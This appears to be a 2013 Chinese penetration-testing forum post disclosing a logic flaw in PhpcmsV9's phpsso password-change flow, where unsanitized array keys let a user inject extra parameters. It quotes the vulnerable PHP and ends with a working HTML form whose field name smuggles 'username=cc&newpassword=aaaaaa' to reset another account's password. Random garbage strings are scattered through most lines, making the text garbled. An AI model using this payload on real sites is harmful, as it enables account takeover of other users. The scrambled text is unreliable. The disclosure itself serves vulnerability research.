中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:$ h" W6 X) W5 M1 B2 x  P. j7 U

$ C5 f. K9 H/ U' q% o4 b2 r4 G, x# R1 G/ o: @+ H1 z
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
. p( h' O4 g( m8 @+ I; J; a+ D  U7 K+ F+ m3 a
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" e3 G! _4 ?/ X4 a% n* a: \
# f) _) Y$ K% E, B( O, \0 X& B2 F我把它留给了你们。
; F7 B; L( o4 V7 M0 t1 P2 r8 Z不知道你们发现了它没有。* @' x: p! U* c- _
- m7 s% f8 t- I6 U
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。* v$ O2 [% `# e: S. f% J
+ {! \. d% J: F7 q4 H
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
) ~5 c/ e& O4 t. A) `( X* _" ^
& }  u( P; r- s3 t! z7 g也就是
- J/ T" ?" ]7 ]" J
3 a- c1 h* `& j( a( Uusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
/ D+ C: s+ l; q$ ^; [. |: |+ z" ]1 _& O- R( ~
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。& L( I; n- ~; h) h: O4 C
/ N2 t) {- e* j7 j& K# o

+ q( O1 }* B  n其实我们有这样的机会,看看代码,如下:& F+ n5 e) P% a/ b
+ F/ D+ ^% w' x: m+ x

! q6 h" G' |( X/ f6 ^6 Q1 ~- Jpublic function auth_data($data) {6 Y" y/ w6 C; s" i1 e9 x9 r
                $s = $sep = '';3 v) K0 Q5 p9 c/ O
                foreach($data as $k => $v) {2 o( i$ r0 n, A3 q+ F  @! y
                        if(is_array($v)) {' U* o- M" y! M
                                $s2 = $sep2 = '';
# S) E) b4 j: {& j, t2 f/ r8 ~                                foreach($v as $k2 => $v2) {+ b5 r7 c9 B9 A" w8 V0 ~9 m8 E
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);- D! g% F/ L# c9 p; K1 Y* m
                                        $sep2 = '&';
9 a# g" W! x9 L/ i: P                                }
% J# g' W* Z9 C                                $s .= $sep.$s2;! ]8 @& w( g( l2 p
                        } else {
3 F; W5 r' H: U                                $s .= "$sep$k=".$this->_ps_stripslashes($v);; T% b- M: z( |1 j3 M, B
                        }
- o& [9 n  K; G3 Z2 a                        $sep = '&';
0 k; k% z0 x1 ]8 K" t0 [                }7 t" B+ Y' q. B3 {* {2 f
- `% o8 y' O! ^9 Z: }
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
6 m% \4 F7 e6 g# i4 v                return $auth_s;3 N/ l) b/ M( q$ N# y8 ~* F5 y& m
        }7 O4 S/ g( y* r- y8 {. g
" `# l$ C1 S1 q0 ^( _) [  g
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。  A/ X. q! K) ^- s" V1 ^

, `  y4 ]( S8 x* |举个例子
0 I' ~* T' b; a& u
. u7 \, p" b' {2 L$a[aaa=a&bbb] = 'a';& ?% l- J9 R8 S2 ]2 L$ ~6 L

6 }  g. Z' g2 J0 {" x" |4 D) s2 ^会变成aaa=a&bbb=a
5 v$ `% x% i) u% y: z9 [! i1 i# |8 p
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。! N2 I$ _. _& O) w+ c% x
0 Y, V9 n0 m" f
这个时候,我们可以再去看一个函数。
8 j7 Z$ {3 }! B$ W1 U& U: P4 {7 Y# V8 }7 t6 `. P
就在这个文件内:$ F0 P, I' q4 K4 Q. q
5 p9 j# V, u' w( D: a( \

; c; \4 n3 s  M3 Tpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {$ o, Q  e% H% d+ N- d- a! }
                if($email && !$this->_is_email($email)) {3 n! u9 Q4 o$ `( w+ {
                        return -4;
! q$ R! z% Q2 D2 s7 W/ X                }
! H. n4 P5 E7 d3 K7 v1 [                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
+ B, g0 s" h& j, w% |        }
- e8 y% l! H8 B' |6 S! ?
; ]  n% l+ U5 |. d  t& E- q2 S' G这是向通行证发了这样一个请求。
4 Z6 R8 t" K# t% C3 X$ D: Q" z3 b0 Z: R( f1 L
我们再跟到通信证代码里去看看,就会有所发现。
4 G! p; ~, c! n9 }, i  S: B7 S  B0 Y$ H9 W

2 G* f+ D! _  ^' `3 Upublic function edit() {
& O( X5 c: d/ U% v//能省就省,太长了不是吗?
2 |; P/ n+ }1 h, U! {# E8 v, d$ X6 b
if($this->username) {
$ c& p" S1 ^  V' _  Q//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
0 _( k* T% @1 e; N; r                                $res = $this->db->update($data, array('username'=>$this->username));8 ~5 Z* N5 d! Z; P$ W1 @9 [5 L
                        } else {
9 }7 M1 \( J7 f; {. f                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
* h# v) a3 A* S  \; O8 \) C+ @                                $res = $this->db->update($data, array('uid'=>$this->uid));
! T. j' V: L  Q8 Z+ ]: m4 j' `                        }
3 F7 D' Z: A7 \. B6 S  ^
! P- G; i: ~& V. i: C好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
3 j( P" R6 o: U4 j, x, p. H) H, {$ O  T% y6 y
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')/ F# p( x2 G/ P* V. f

4 V) P% A" E8 P0 l. C+ d8 j  D& N很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。* b7 q* g( m" r- U* P( w
; c4 h/ B. a- G& O
我当然找到了:& l; h! h  m; y& q! R* B/ Y$ H
phpcms9/phpcms/modules/member/index.php
$ G9 s" A" F. ~% @- R+ A5 U! Y3 j2 e9 A
" x" g7 c4 c( @: \$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);) G( w9 X& N6 M
9 d, f$ E1 L( G: r" l5 `$ x
然后就没有然后了。
" r  K1 Q: `9 O3 u( _
' q% A! E4 B9 y. \4 B# o<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
5 ^# S( K" V5 a3 e                                <table width="100%" cellspacing="0" class="table_form">! l) H$ t& l/ u
                                        <tr>
- _" I. u3 S# r7 _                                                <th width="80">邮箱:</th>        5 a, s& C7 x* s. d
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>, g! i6 g; [* n7 l- ^! I7 I# C- }  t8 z
                                        </tr>3 i5 D2 o) D% a9 z+ M
                                        <tr>
7 ?  c0 L- _# k                                                <th width="80">原密码:</th>        0 ^, }! i0 R4 s2 E
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
; W$ P2 W# e; r                                        </tr>
, p9 K1 T& ^5 Q6 `$ ]                                        <tr>
$ ^4 `- C' O, J' H                                                <th>新密码:</th>. d0 R/ P7 i# j0 I9 l2 h9 L
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>" h5 d* ~+ b) q# Y+ N5 U
                                        </tr>" a8 T# o" V/ r
                                        <th></th>
2 _  W* ~% T/ v: _                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
3 [. f  k& n: {1 [6 |                                        </tr>
; a. h' |- l) v                                </table>
# `9 s7 j& L  W* I- I; g
- Q9 U' H2 C4 X8 V                               
# U: ]0 ~7 R" w                        </form>
% l& p  q! j" g# B+ Q9 i& V




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2